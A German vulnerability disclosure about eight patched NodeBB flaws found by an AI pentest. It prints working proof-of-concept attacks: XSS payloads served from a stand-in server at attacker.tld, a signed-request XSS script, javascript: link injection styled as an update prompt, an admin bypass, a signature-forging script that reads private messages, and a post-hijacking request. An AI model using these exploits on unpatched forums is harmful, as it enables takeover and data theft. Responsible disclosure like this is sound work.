TL;DR
- NodeBB-Versionen vor 4.14.0 weisen mehrere Sicherheitslücken mit hohem Schweregrad auf
- Führen Sie ein Upgrade auf neuere Versionen durch, um die Sicherheitslücken zu beheben.
- Aikido kennzeichnet anfällige Instanzen automatisch.
Im Rahmen der Weiterentwicklung unseres KI-Pentests haben wir eine Whitebox-Prüfung von NodeBB durchgeführt, einer auf NodeJS basierenden Forensoftware. Das Ergebnis? Acht Schwachstellen mit hohem Schweregrad, die alle auf Standardinstallationen von NodeBB ausgenutzt werden könnten. Dazu gehören Cross-Site-Scripting, von denen zwei eine Interaktion mit einem benutzerdefinierten Federation-Server erfordern, den der KI-Agent selbst einrichten musste. Eine weitere Schwachstelle betrifft aufgrund einer Template-Injection praktisch jede Eingabe in NodeBB.
Abgesehen von diesen Problemen gab es raffinierte Methoden zur Umgehung der Autorisierung, mit denen verschiedene Daten, die nicht öffentlich sein sollten, abgefangen und ausgelesen werden konnten. Alle interessanten technischen Details haben wir im Folgenden erläutert.
Das Interessante an diesen autonomen Penetrationstests ist, dass sie ihre Tests in nur wenigen Stunden abschließen. Die Agenten entwickelten Ideen, durchforsteten den Code und führten gründliche Tests mit der echten Anwendung durch, um echte Ergebnisse zu liefern. Von Menschen durchgeführte Penetrationstests dauern oft viel länger, da sie ihre Anstrengungen nicht so einfach vervielfachen können.
Nachdem wir die Sicherheitslücken entdeckt hatten, haben wir umgehend einen Bericht an die Betreuer von NodeBB geschickt, die sehr schnell reagierten und sofort mit der Behebung der Probleme begannen. Die Probleme wurden Anfang Juli behoben.
Wir werden uns mit den technischen Details der Sicherheitslücken befassen und dabei mit einigen XSS-Schwachstellen beginnen.
Cross-Site-Scripting im benutzerdefinierten Symbol des Verbundserver-Profils
Dies ist alles andere als eine gewöhnliche, einfache „Reflected XSS“-Injektion, da hierfür die Einrichtung eines kompletten benutzerdefinierten Servers erforderlich ist, der mit einer bösartigen XSS-Nutzlast antwortet. Dennoch sind die von uns eingesetzten Agenten hervorragende Programmierer, sodass sie Indirektionen mühelos durchschauen und benutzerdefinierte Server programmieren, um jegliche Art von Befunden zu testen.
Alles beginnt mit helpers.common.js, das eine ganze Reihe von HTML-Verkettungen enthält, die Anlass zur Sorge geben. Wir konzentrieren uns dabei auf folgende:
function buildMetaTag(tag) {
const name = tag.name ? 'name="' + tag.name + '" ' : '';
const property = tag.property ? 'property="' + tag.property + '" ' : '';
const content = tag.content ? 'content="' + tag.content.replace(/\n/g, ' ') + '" ' : '';
return '<meta ' + name + property + content + '/>\n\t';
}In den header.tpl, jeweils Meta-Tags Das Element wird mithilfe der oben genannten Funktion dargestellt:
{{{each metaTags}}}{function.buildMetaTag}{{{end}}}
Benutzerdaten werden an res.locals direkt hier:
if (userData.picture) {
res.locals.metaTags.push(
{
property: 'og:image',
content: userData.picture,
noEscape: true,
},
{
property: 'og:image:url',
content: userData.picture,
noEscape: true,
}
);
}Während einige andere Eigenschaften wie userData.fullname werden durch Konvertierung vorvermaskiert " Zeichen in ", die andere Immobilie userData.picture ist nicht (siehe accounts/helpers.js). Die URL für .Bild ist eine vom Benutzer hochgeladene Datei, die normalerweise auf eine sichere Zeichenfolge verweist, wie zum Beispiel:/assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png
Selbst wenn dieser Wert also nicht ordnungsgemäß maskiert ist, wie der vollständiger Name, wie können wir das so steuern, dass eine bösartige Zeichenfolge ausgegeben wird, die ">?
Der Haken daran ist, dass diese URL bei föderierten Profilen beliebig festgelegt werden kann. Das Konzept der Föderation besteht hier darin, mit einem dezentralen Netzwerk anderer Instanzen zu interagieren, die über eigene Benutzer und Themen verfügen. Die Daten werden praktisch 1:1 kopiert. Wenn wir also bösartige Daten über eine URL zurückgeben können, die die HTML-Syntax in Anführungszeichen umgeht, haben wir den Durchbruch geschafft.
Wir müssen einen benutzerdefinierten Verbundserver erstellen, der auf /.well-known/webfinger unter Bezugnahme auf den XSS-Benutzer, dann gib unsere XSS-Nutzlast als icon.url dort:
/.well-known/webfinger?resource=acct:xss@attacker.tld:
{
"links": [
{
"href": "https://attacker.tld/ap/actor/xss",
"rel": "self",
"type": "application/activity+json"
}
],
"subject": "acct:xss@attacker.tld"
}/ap/actor/xss:
{
"@context": [
"https://www.w3.org/ns/activitystreams",
"https://w3id.org/security/v1"
],
"icon": {
"mediaType": "image/jpeg",
"type": "Image",
"url": "\"><img src onerror=\"alert(origin)\">"
},
"id": "https://attacker.tld/ap/actor/xss",
"inbox": "https://attacker.tld/ap/inbox/xss",
"preferredUsername": "xss",
"publicKey": {
"id": "https://attacker.tld/ap/actor/xss#main-key",
"owner": "https://attacker.tld/ap/actor/xss",
"publicKeyPem": "dummy"
},
"type": "Person"
}Da dieser Server auf attacker.tld, dazu muss ein Opfer lediglich nach einem Nutzer auf der bösartigen Domain suchen oder einen Link aufrufen, der direkt dorthin führt:
https://nodebb.local/user/xss@attacker.tld
Das Backend ruft folgende Daten ab: attacker.tld nach dem xss Benutzer bei /.well-known/webfinger, das auf /ap/actor/xss. Diese wird abgerufen, wodurch die XSS-Payload zurückgegeben wird, die direkt in das <meta> Tag. Mit dem "><img> Nutzdaten – damit lässt sich die HTML-Struktur umgehen und ein alert(Quelle) Popup mit JavaScript:

Dieses Problem wurde behoben (4c4bf76), indem auch die Informationen aus Federated-Quellen mit Escape-Zeichen versehen wurden.
Cross-Site-Scripting in der Admin-Ansicht „Verbundfehler“
Wir bleiben beim Thema „Federation“, da im Fehlerprotokoll für Administratoren eine weitere XSS-Sicherheitslücke entdeckt wurde. Es ist wichtig zu beachten, dass zwar nur Administratoren diese Protokolle einsehen können, jedoch jeder nicht authentifizierte Angreifer die Payload speichern kann. Die Ausnutzung dieser Schwachstelle erforderte eine noch komplexere Angriffskonfiguration als beim letzten XSS-Angriff, doch die Agenten haben die Lösung dennoch gefunden.
Das Waschbecken ist schlicht. Im Inneren errors.tpl, der {./id} Die Variable wird in den HTML-Code eingebettet.
<code>{./id}</code>
Obwohl dies für die meisten Template-Konfigurationen kein Problem darstellt, wird in NodeBB die automatische Escaping-Funktion für Benchpress hier explizit deaktiviert, indem sie durch eine Identitätsfunktion ersetzt wird:
__escape: identity,
};
function identity(str) {
return str;
}NodeBB ist darauf angewiesen, dass in Vorlagen übergebene Variablen manuell mit Escape-Zeichen versehen werden. Eine Stelle, an der dies oft übersehen wird, ist die id von Föderationsfehlern. Und wie löst man einen solchen Fehler aus, fragen Sie sich vielleicht? Indem man natürlich einen weiteren benutzerdefinierten Föderationsserver schreibt – diesmal allerdings einen, der ein wenig fehlerhaft ist.
Wir werden zunächst wie zuvor einen Server einrichten, dabei aber vor allem einen öffentlichen Schlüssel zum Signieren von Nachrichten generieren und bereitstellen.
/Schauspieler:
{
"@context": "https://www.w3.org/ns/activitystreams",
"id": "https://attacker.tld/actor",
"type": "Person",
"preferredUsername": "evil",
"inbox": "https://attacker.tld/inbox",
"publicKey": {
"id": "https://attacker.tld/actor#main-key",
"owner": "https://attacker.tld/actor",
"publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\n2wIDAQAB\n-----END PUBLIC KEY-----\n"
}
}Füge dann ein /.well-known/webfinger Endpunkt wie zuvor, der ein beliebiges Konto zurückgibt:
/.well-known/webfinger?resource=acct%3Aevil%40attacker.tld:
{
"subject": "acct:evil@attacker.tld",
"links": [
{
"rel": "self",
"type": "application/activity+json",
"href": "https://attacker.tld/actor"
}
]
}Da wir nun einen Server unter attacker.tld Mit einem uns bekannten Schlüssel können wir NodeBB-Updates über die /Posteingang Pfad. Jeder Typ Die von uns gesendeten Daten werden von einer bestimmten Funktion in inbox.js. Die Middleware überprüft eine Signatur mithilfe von ActivityPub.verify, das im Wesentlichen eine Reihe von Attributen aus der Anfrage entnimmt und überprüft, ob diese mit dem öffentlichen Schlüssel des Verbundservers signiert sind. Wir haben unseren eigenen Server eingerichtet, daher ist dieser Teil nun kein Problem mehr.
Um einen Fehler auszulösen, können wir den ersten in Posteingang.Aktualisieren:
inbox.update = async (req) => {
const { actor, object } = req.body;
const isPublic = publiclyAddressed([...(object.to || []), ...(object.cc || [])]);
// Origin checking
const actorHostname = new URL(actor).hostname;
const objectHostname = new URL(object.id).hostname;
if (actorHostname !== objectHostname) {
throw new Error('[[error:activitypub.origin-mismatch]]');
}[[Fehler:activitypub.origin-mismatch]] passiert, wenn die Schauspieler und object.id aus unserer Anfrage stimmen nicht überein. Das können wir leicht fälschen.
Wichtig ist, dass die id Die von uns bereitgestellten Daten werden zusammen mit dem Fehler gespeichert und – wie wir gelernt haben – im Admin-Panel unsicher als HTML angezeigt. Daher setzen wir dort eine XSS-Payload ein, wie zum Beispiel <img src onerror=alert(origin)>.
Das fertige Skript sieht wie folgt aus:
# Craft payload
payload = {
'@context': 'https://www.w3.org/ns/activitystreams',
'id': '<img src onerror=alert(origin)>',
'type': 'Update',
'actor': f'https://attacker.tld/actor',
'object': {
# Different origin than actor to trigger an error path
'id': 'https://nodebb.local/post/1',
'type': 'Note'
},
'to': ['https://www.w3.org/ns/activitystreams#Public']
}
# Build signature
key_id = f'https://attacker.tld/actor#main-key'
inbox_url = 'https://nodebb.local/inbox'
u = urlparse(inbox_url)
date = datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
signed = f'(request-target): post {u.path}\nhost: {u.netloc}\ndate: {date}'
sig = base64.b64encode(priv.sign(signed.encode(), padding.PKCS1v15(), hashes.SHA256())).decode()
headers = {
'Host': u.netloc,
'Date': date,
'Signature': f'keyId="{key_id}",headers="(request-target) host date",signature="{sig}",algorithm="hs2019"',
'Accept': 'application/activity+json',
'Content-Type': 'application/ld+json;profile="https://www.w3.org/ns/activitystreams"',
}
# Send request
r = requests.post(inbox_url, headers=headers, data=json.dumps(payload), timeout=30, verify=False)
print('Status:', r.status_code)
print(r.text[:200])Nach dem Senden dieser Nutzlast sollte sie den benutzerdefinierten Server des Angreifers aufrufen, um die Signatur zu überprüfen, und anschließend den referenzierten Akteur. Da die Ursprünge von Schauspieler und object.id Wenn sich die Payloads unterscheiden, wird ein Fehler ausgelöst und ein Eintrag auf der Seite „Federation-Fehler“ im Admin-Panel erstellt.
Wenn ein Administrator nun diese Seite aufruft, um nach Fehlern zu suchen, wird ihm ein JavaScript-Warnfeld angezeigt, da unser bösartiger <img> Das Tag wurde als echtes HTML zwischen den <code>:

Von hier aus kann ein Angreifer die gesamte NodeBB-Instanz übernehmen, da JavaScript einen Administrator dazu bringen kann, alles Mögliche zu tun.
Dieses Problem wurde behoben (16bda6b), indem alle in den Verbundsfehlern angezeigten Felder mit Escape-Zeichen versehen wurden.
Cross-Site-Scripting durch Einfügen von Code in Übersetzungsvorlagen
Die zuletzt entdeckte XSS-Sicherheitslücke war ebenfalls interessant. Sie hängt mit der Darstellung von Vorlagen zusammen. Um einen Body zurückzugeben, durchläuft NodeBB im Wesentlichen diese beiden Schritte (definiert in render.js):
- Render-Vorlage für „Benchpress“ mit Eingabevariablen (Syntax:
{...}) - Übersetzungsschlüssel interpretieren (Syntax:
[[...]])
function renderContent(render, tpl, req, res, options) {
return new Promise((resolve, reject) => {
render.call(res, tpl, options, async (err, str) => {
if (err) reject(err);
else resolve(await translate(str, getLang(req, res)));
});
});
}
Wir haben bereits in der vorherigen Sicherheitslücke gesehen, was bei Benchpress schiefgehen kann. Nun konzentrieren wir uns auf die trans() Funktion, die entscheidend dazu beiträgt, dass danach Unsere Eingabe wird in die Vorlage eingebunden.
Die Sicherheitslücke beginnt bereits hier. Denn unsere Eingabe hat bereits ihren Weg in str bis die Übersetzungen darüber laufen – wenn wir dasselbe schreiben können [[...]] Syntax, würde sie interpretiert werden. [ oder ] werden von escapeCharMap innen utils.common.js, nur &<>"'`= sind.
Tatsächlich, jede Seite gibt die URL in einem <meta property="og:url"> Eigenschaft. Wir können einen Übersetzungsschlüssel in genau diese Eigenschaft einfügen, um das Ergebnis zu sehen. Übersetzungsschlüssel werden pro Namespace gespeichert, zum Beispiel topic.json enthält "flag-user": "Diesen Nutzer melden". Wenn wir darauf verweisen:
https://nodebb.local/test[[topic:flag-user]]
<meta property="og:url" content="https://nodebb.local/testFlag this user" />
Die Interpretation war erfolgreich. Manche Nachrichten sind komplexer und enthalten Platzhalter mit %1 und %2, das wir über Kommas als Argumente steuern können. Zum Beispiel:
"merged-message": "This topic has been merged into <a href=\"%1\">%2</a>"
Es wird gleich etwas Interessantes passieren, denn die Übersetzung enthält " (um die href), wobei der Kontext, in den wir es einfügen, kein Text ist, sondern ein Meta-Element content= Attribut, wobei der Wert ebenfalls in doppelte Anführungszeichen gesetzt wird.
https://nodebb.local/test[[topic:merged-message,A,B]]
<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="A">B</a>" />
Anhand der Syntaxhervorhebung lässt sich erkennen, dass das, was früher das öffnende Anführungszeichen für href=, ist nun das Schlusszitat für content=. Das bedeutet, dass wir bei unserem A, wir befinden uns in einem Attributdefinitionskontext und können diesem Tag beliebige Attribute hinzufügen!
Wenn wir jedoch einfach A mit onerror=alert(), bietet sich uns ein trauriger Anblick:
<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="onerror=alert()">B</a>" />Das Attribut scheint zwar weitergegeben zu werden, doch das Gleichheitszeichen (=) hat sich zu =. Weißt du noch? In escapeCharMap, wird das Gleichheitszeichen als Sonderzeichen behandelt und in der Ausgabe stets HTML-escaped. Daher können wir nicht Werte zu Attributen, um diese Injektion in einen XSS-Angriff umzuwandeln.
Es ist jedoch noch nicht alle Hoffnung verloren, da die von uns verwendete Vorlage, zusammengeführte Nachricht, setzt unseren ersten Parameter (A) direkt in die href= davon <a> Tag. Verwendung eines javascript: URI – es ist weiterhin möglich, beim Klicken beliebiges JavaScript auszuführen. Dazu müssen wir lediglich nach der ersten escape Attributs ein weiteres Template-Tag hinzufügen:
https://nodebb.local/test[[topic:merged-message,A,B]][[topic:merged-message,javascript:alert(origin),CLICK%20ME]]
<meta property="og:url" content="http://4.245.3.4:4567/testThis topic has been merged into <a href="A">B</a>This topic has been merged into <a href="alert(origin)">CLICK%20ME</a>" />Optisch gibt es nun eine Kopfzeile auf der Seite mit dem Text KLICK%20MICH. Wenn man darauf klickt, wird das JavaScript ausgeführt und alert(Quelle) wird angezeigt:

Wir haben gerade den PoC anhand der am einfachsten zu testenden Reflexion – der URL selbst – demonstriert. Dies funktioniert jedoch bei jeder von NodeBB generierten Ausgabe. In der URL sind wir auf URL-kodierte Zeichen beschränkt, wie beispielsweise %20. Im Bereich, der nur für Administratoren zugänglich ist /flags?quick= Endpunkt, der Wert von schnell wird ebenfalls übernommen, jedoch URL-dekodiert!
Um den PoC abzuschließen, können wir ihn realistischer gestalten, indem wir Emojis verwenden, die wie offizielle Symbole aussehen, und den Nutzer mit der Meldung „⚠️ Update erforderlich“ zur Aktualisierung auffordern:
https://nodebb.local/flags?quick=]][[topic:merged-message,javascript:alert(origin),%E2%9A%A0%EF%B8%8FUpdate%20required
<span class="filter-label">filter-quick-This topic has been merged into <a href="javascript:alert(origin)">⚠️Update required</a></span>

Auch hier würde ein Klick auf die Schaltfläche beliebiges JavaScript auslösen. Dies war der ursprüngliche Proof-of-Concept, den der Agent zur Meldung des Problems verwendet hat.
Die Nutzdaten können sogar in Beiträgen auf NodeBB gespeichert werden, sodass sie problemlos mit anderen Nutzern geteilt werden können. Das zugrunde liegende Problem besteht darin, dass alle gerenderten Inhalte einen Übersetzungsschritt durchlaufen, bei dem Benutzereingaben dieselbe Syntax verwenden können.
Die Behebung dieses Problems war etwas komplizierter. Wie wir gesehen haben, handelt es sich eher um ein Designproblem als um einen konkreten Fehler an einer bestimmten Stelle. Denn Übersetzungen erfolgen immer nach der Darstellung der Vorlage, und Übersetzungszeichen sind in der Vorlage zulässig.
Die naivste Lösung wäre, die Zeichenescape [ und ] Zeichen, um sicherzustellen, dass sie nicht als Übersetzungen interpretiert werden. Es hat sich jedoch herausgestellt, dass einige Funktionen/Plugins tatsächlich require die Möglichkeit, Übersetzungssequenzen aus Vorlagenvariablen zu rendern. Dies würde eine kompatibilitätsbrechende Änderung darstellen.
Als vorläufige Lösung hat NodeBB versucht, escape Stellen, an denen Benutzereingaben erscheinen, manuell mit translator.escape(). Das ist jedoch noch nicht vollständig, daher haben sie Folgendes hinzugefügt: viel Arbeit das Übersetzungssystem so umzugestalten, dass es kann automatisch maskiert werden, und Funktionen/Plugins müssen angepasst werden, um diese inkompatible Änderung korrekt zu verarbeiten. Dies ist nun in Version 4.14.0 implementiert.
Als zusätzliche Sicherheitsmaßnahme wird der vom Übersetzer generierte HTML-Code wird nun ebenfalls bereinigt, sodass ein Angreifer, selbst wenn er den Text kontrolliert, nicht schreiben kann javascript: hrefs.
Umgehung der Middleware zur Administrator-Autorisierung mithilfe einer benutzerdefinierten Startseite
Das ist eine einfache, aber clevere Lösung. Wenn wir uns die Middleware von NodeBB genauer ansehen, finden wir diesen Codeausschnitt, der für die Abwicklung der Autorisierung zuständig ist: /admin Routen im Inneren middleware/admin.js:
middleware.checkPrivileges = helpers.try(async (req, res, next) => {
// Kick out guests, obviously
if (req.uid <= 0) {
return controllers.helpers.notAllowed(req, res);
}
// Otherwise, check for privilege based on page (if not in mapping, deny access)
const path = req.path.replace(/^(\/api)?(\/v3)?\/admin\/?/g, '');
if (path) {
const privilege = privileges.admin.resolve(path);
if (!await privileges.admin.can(privilege, req.uid)) {
return controllers.helpers.notAllowed(req, res);
}
} else {
// If accessing /admin, check for any valid admin privs
const privilegeSet = await privileges.admin.get(req.uid);
if (!Object.values(privilegeSet).some(Boolean)) {
return controllers.helpers.notAllowed(req, res);
}
}Auf den ersten Blick scheint alles korrekt zu sein. Wenn privileged.admin.get() gibt nichts zurück, dann erhältst du keinen Zutritt. Entscheidend ist, dass diese Middleware für die /admin Route bevor Umgang mit benutzerdefinierten URL-Umschreibungen auf der Startseite in routes/index.js:
router.all(`(/+api/admin|/+api/admin/*?${mounts.admin !== 'admin' ? `|/+api/${mounts.admin}|/+api/${mounts.admin}/*?` : ''})`, middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges);
router.all(`(/+admin|/+admin/*?${mounts.admin !== 'admin' ? `|/+${mounts.admin}|/+${mounts.admin}/*?` : ''})`, middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges);
// handle custom homepage routes
router.use('/', controllers.home.rewrite);Jeder Benutzer kann seine Startseite so konfigurieren, dass sie als Funktion auf eine andere URL umgeleitet wird. Dies wird durch eine weitere Middleware umgesetzt, die bei /. Intern wird dabei req.url um den konfigurierten Wert widerzuspiegeln:
async function rewrite(req, res, next) { if (req.path !== '/' && req.path !== '/api/' && req.path !== '/api') {
return next();
}
...
route = await getUserHomeRoute(req.uid, next); parsedUrl = new URL(route, 'http://localhost.com'); const pathname = parsedUrl.pathname.replace(/^\/+/, ''); req.url = req.path + (!req.path.endsWith('/') ? '/' : '') + pathname; ... next(); wird dazu aufgefordert, die tatsächliche Route weiter nachzuschlagen, doch dies ist nun danach Die Überprüfung des Admin-Pfads wurde bereits durchgeführt.
next()
Das bedeutet, wenn Sie Ihre benutzerdefinierte Startseite auf /admin, wird Ihnen das Admin-Dashboard angezeigt, auch wenn Sie nur ein normales Mitglied sind. Es ist kein Admin-Zugang erforderlich.
Das Einzige, was uns „im Weg steht“, ist ein stuk Client-seitiger Code, der den konfigurierten Wert abruft, wenn man versucht, ihn zu speichern – noch bevor die Einstellungen tatsächlich an den Server gesendet werden:
$.get(config.relative_path + '/' + settings.homePageCustom, function () {
saveSettings(settings);
}).fail(function () {
alerts.error('[[error:invalid-home-page-route]]');
});Diese Überprüfung lässt sich leicht umgehen, indem man direkt eine PUT /api/v3/users/:id/settings Anfrage oder durch Setzen eines Haltepunkts im Browser, um die Überprüfung zu überspringen und die Funktion aufzurufen saveSettings() direkt.
Nachdem man es auf admin/erweitert/Cache, zum Beispiel können wir die / Seite aufrufen und eine Reihe interner Informationen einsehen, die für Administratoren bestimmt sind:

Sogar APIs sind über /api/admin, allerdings sind die meisten APIs für die eigentliche Bearbeitung Daten werden weitergeleitet /api/v3/admin. Dies sind die „Schreib“-Routen, bei denen innerhalb des Handlers jeder Route zusätzliche Berechtigungsprüfungen durchgeführt werden. Sie sind daher nicht anfällig für diesen Angriff.
Dennoch führt dies zu einer erheblichen Offenlegung bzw. Änderung von Daten:
GET /api/admin/users/csv: Alle Benutzer als CSV-Datei exportieren, sofern vorhanden. Die Spalten hängen davon ab, was beim letzten Admin-Export ausgewählt wurde.GET /api/admin/advanced/errors: Alle Fehlerprotokolle lesenPOST /api/admin/manage/categories: Kategorie „Fernbedienung“ zur Liste in der Seitenleiste hinzufügenPOST /api/admin/uploadlogo: Logo der Update-Seite aktualisieren
Dieses Problem wurde behoben (9885f94), indem die Reihenfolge der Middleware so angepasst wurde, dass die Berechtigungsprüfungen nun nach dem Umschreiben durchgeführt werden.
Fälschung der Benutzer-ID zum Lesen privater Nachrichten
Um mit anderen sozialen Netzwerken zu kommunizieren, implementiert NodeBB ActivityPub, bei dem es sich um ein Protokoll zum Austausch von Benutzern und Inhalten zwischen Instanzen handelt. Die kryptografische Sicherheit wird dadurch gewährleistet, dass jeder Benutzer einen öffentlichen Schlüssel erhält, mit dem er Aktionen signieren kann. In Anfragen wird ein Unterschrift: Der Header wird mit Attributen wie keyId und Unterschrift.
Der ActivityPub.verify Die Funktion überprüft diese korrekt:
ActivityPub.verify = async (req) => {
...
let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split(',').reduce((memo, cur) => {
const split = cur.split('="');
const key = split.shift();
const value = split.join('="');
memo[key] = value.slice(0, -1);
return memo;
}, {});
const signed_string = headers.split(' ').reduce((memo, cur) => {
... }, []).join('\n');
const publicKeyPem = await ActivityPub.fetchPublicKey(keyId);
return await verifyAsync('sha256', Buffer.from(signed_string), publicKeyPem, Buffer.from(signature, 'base64'));
Wenn wir uns ansehen, wo diese Funktion verwendet wird, erkennen wir nur ihre Position in der activitypub.js Middleware hier:
middleware.verify = async function (req, res, next) {
// Verifies the HTTP Signature if present (required for POST)
const passthrough = [/\/actor/, /\/uid\/\d+/];
if (req.method === 'GET' && passthrough.some(regex => regex.test(req.path))) {
return next();
}
if (req.method === 'POST') {
const verified = await activitypub.verify(req); if (!verified) {
return res.sendStatus(400);
}
}
if (req.headers.signature) {
const keyId = req.headers.signature.split(',').filter(line => line.startsWith('keyId="'));
if (keyId.length) {
req.uid = keyId.shift().slice(7, -1).replace(/#.*$/, '');Interessanterweise läuft es nur activitypub.verify(req) wenn die req.method === 'POST'! Bei GET-Anfragen wird die Signatur aus irgendeinem Grund nicht überprüft. Welche Endpunkte können wir damit erreichen?
Es gibt eigentlich nur einen Endpunkt, der req.uid zur Authentifizierung, und zwar GET /message/:mid. In middleware/assert.js Dort heißt es:
!(await messaging.canViewMessage(req.params.mid, roomId || req.params.roomId, req.uid))
Dieser Endpunkt ruft private Nachrichten von req.params.mid:
Actors.message = async function (req, res) {
...
const messageObj = await messaging.getMessageFields(req.params.mid, []);
messageObj.content = await messaging.parse(messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false);
const payload = await activitypub.mocks.notes.private({ messageObj });
res.status(200).json(payload);
};Jetzt haben wir den vollständigen Überblick. Der Unterschrift: Der Header wird nur bei POST-Anfragen überprüft, daher wird der GET /message/:mid Der Endpunkt überprüft nicht, ob die keyId= Attribut. Damit können wir uns als beliebige Person ausgeben und die inkrementellen Nachrichten-IDs nacheinander preisgeben, um private Chats vollständig zu kompromittieren.
# Fetch all users
users = requests.get(f'{HOST}/api/users', timeout=10).json().get('users', [])
users = [(u['uid'], u.get('username', '?')) for u in users]
print(f'Found {len(users)} users')
# Fetch all message IDs for each user
for mid in tqdm(range(1, 80)):
for uid, name in users:
headers = {
'Accept': 'application/activity+json',
'Signature': f'keyId="{uid}"',
}
r = requests.get(f'{HOST}/message/{mid}', headers=headers, timeout=10)
if r.ok:
j = r.json()
content = j.get("content", "")[:80].strip()
tqdm.write(f'Impersonating {name} ({uid}) -> message {mid}: {content}')Dieses Problem wurde behoben (f6b5cd8) indem man lediglich req.uid in einem Code-Zweig, in dem activitypub.verify() hat den „Signature“-Header bereits überprüft.
Beiträge mit PID-Massenzuweisung kapern
Bei all diesen JSON-Body-Inhalten kommt es zwangsläufig zu Fehlern durch „Mass Assignment“ – genau danach hat der Agent als Nächstes gesucht. Falls Ihnen diese Art von Fehler unbekannt ist: Dabei werden interne Felder Ihrer Anfrage hinzugefügt, um diese zu überschreiben, ohne dass die Webanwendung dies beabsichtigt.
Dies geschieht häufig, wenn ein gesamter Request-Body geparst und in die Datenbank übernommen wird. Gibt es in dieser Codebasis ähnliche Muster?
Hier in der POST /api/v3/topics, am Endpunkt lesen wir:
Topics.create = async (req, res) => {
const id = await lockPosting(req, '[[error:already-posting]]');
try {
const payload = await api.topics.create(req, req.body);Es macht genau das, was wir wollen, und übergibt req.body in topicsAPI.create(). Die Implementierung ruft später Folgendes auf: Beiträge erstellen das sich auf die angegebene data.pid:
const pid = data.pid || await db.incrObjectField('global', 'nextPid');
let postData = { pid, uid, tid, content, sourceContent, timestamp };Der pid Die Eigenschaft ist die Beitrags-ID, die eindeutig ist, sodass jeder Beitrag über diese Nummer abgerufen werden kann. Beachten Sie, dass sich dies geringfügig von einem Thema, da ein Thema mehrere Beiträge (Antworten) enthalten kann.
Der allererste Beitrag in jedem NodeBB-Forum ist immer ein Beitrag des Administrators mit dem Titel „Willkommen bei Ihrem NodeBB!“:

Seine ID lautet immer 1, und neue Beiträge werden von dort aus fortlaufend nummeriert. Was würde passieren, wenn wir einen new Beitrag, der außerdem enthält PID: 1? Probieren wir es doch mal aus!
POST /api/v3/topics HTTP/1.1
Host: nodebb.local
x-csrf-token: 77a...65b
Cookie: express.sid=s%3A...
Content-Length: 133
Content-Type: application/json
{
"title": "title",
"content": "OVERWRITTEN BY ATTACKER",
"cid": 2,
"tags": [],
"thumbs": [],
"timestamp": 0,
"pid": 1
}Noch einmal ein Blick auf den Begrüßungsbeitrag:

Wir haben den Beitrag gekapert! Der Inhalt scheint jedoch noch nicht aktualisiert worden zu sein. Da er nun aber uns gehört, können wir ihn einfach schnell bearbeiten und erneut speichern, um den Inhalt tatsächlich zu aktualisieren:

Die URL ist nach wie vor dieselbe, und jeder, der zu diesem Beitrag zurückkehrt, wird den neuen Inhalt des Angreifers sehen. In Kombination mit einem gefälschten Konto kann dies sehr wirkungsvoll sein, um bestimmte Inhalte zu manipulieren, beispielsweise indem bösartige Befehle in einem Tutorial eingefügt werden.
Dieses Problem wurde behoben (7f08fb9) durch Löschen des pid Eigenschaft aus dem Request-Body, sodass das interne Feld nicht mehr überschrieben werden kann.
Alle Kategorien ohne Anmeldung lesen
This might be the easiest vulnerability in this post. It can be summarized as one sentence: "/category/{cid}/outbox is missing authorization when ActivityPub accept header is set".
So einfach ist das wirklich. Die Route /category/:cid/outbox wird von der folgenden Funktion abgewickelt, die keine Berechtigungsprüfungen durchführt, sondern alle Themen einer bestimmten Kategorie (einschließlich privater Themen) zurückgibt, auf die durch eine inkrementelle cid.
Controller.getCategoryOutbox = async (req, res) => {
const { cid } = req.params;
const { page } = req.query;
const set = `cid:${cid}:pids`;
const count = await db.sortedSetCard(set);
const collection = await activitypub.helpers.generateCollection({
set,
count,
page,
perPage: 20,
url: `${nconf.get('url')}/category/${cid}/outbox`,
});
...
res.status(200).json({
'@context': 'https://www.w3.org/ns/activitystreams',
...collection,
});
};
Eine einfache GET-Anfrage an /category/2/outbox mit dem Header „Accept: application/activity+json“ zur Auslösung von ActivityPub liefert eine ungefilterte Liste aller Beiträge unter dieser Kategorie-ID zurück. Hier ist eine private Kategorie, die wir erstellt haben und auf die nur Administratoren Zugriff haben:

Ohne Authentifizierung können die folgenden Inhalte abgerufen werden:
{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "OrderedCollection",
"totalItems": 2,
"orderedItems": [
{
"object": {
"object": {
...
"name": "secret content",
"url": "https://nodebb.local/post/2",
"content": "<p>SUPER SECRET CONTENT</p>\n"
}}},
{
"object": {
"object": {
...
"inReplyTo": "http://4.245.3.4:4567/post/2",
"name": "secret content",
"url": "https://nodebb.local/post/3",
"content": "<p>replies too!</p>\n"
}
Dieses Problem wurde behoben (8e98325) durch Hinzufügen eines Themen: Lesen Berechtigungsprüfung für die Route zum Postausgang.
Inflation der Upvotes durch einen unkontrollierten Akteur
Das Letzte ist eher eine Spielerei, könnte aber für Spam oder Manipulation missbraucht werden. Einer der Agenten hat einen Weg gefunden, einen Beitrag unendlich oft hochzustufen! (Apropos unendlich … Schaut euch mal Aikido kontinuierliches Penetrationstesten! ;) )
Es gibt zwei Möglichkeiten, einen Beitrag positiv zu bewerten („Gefällt mir“ in ActivityPub):
- Direkt über
/Posteingangoder/uid/:uid/inbox, verifiziert mit der Signatur-Key-ID - Eingebettet in eine „Announce“-Nachricht über
/category/:cid/inbox
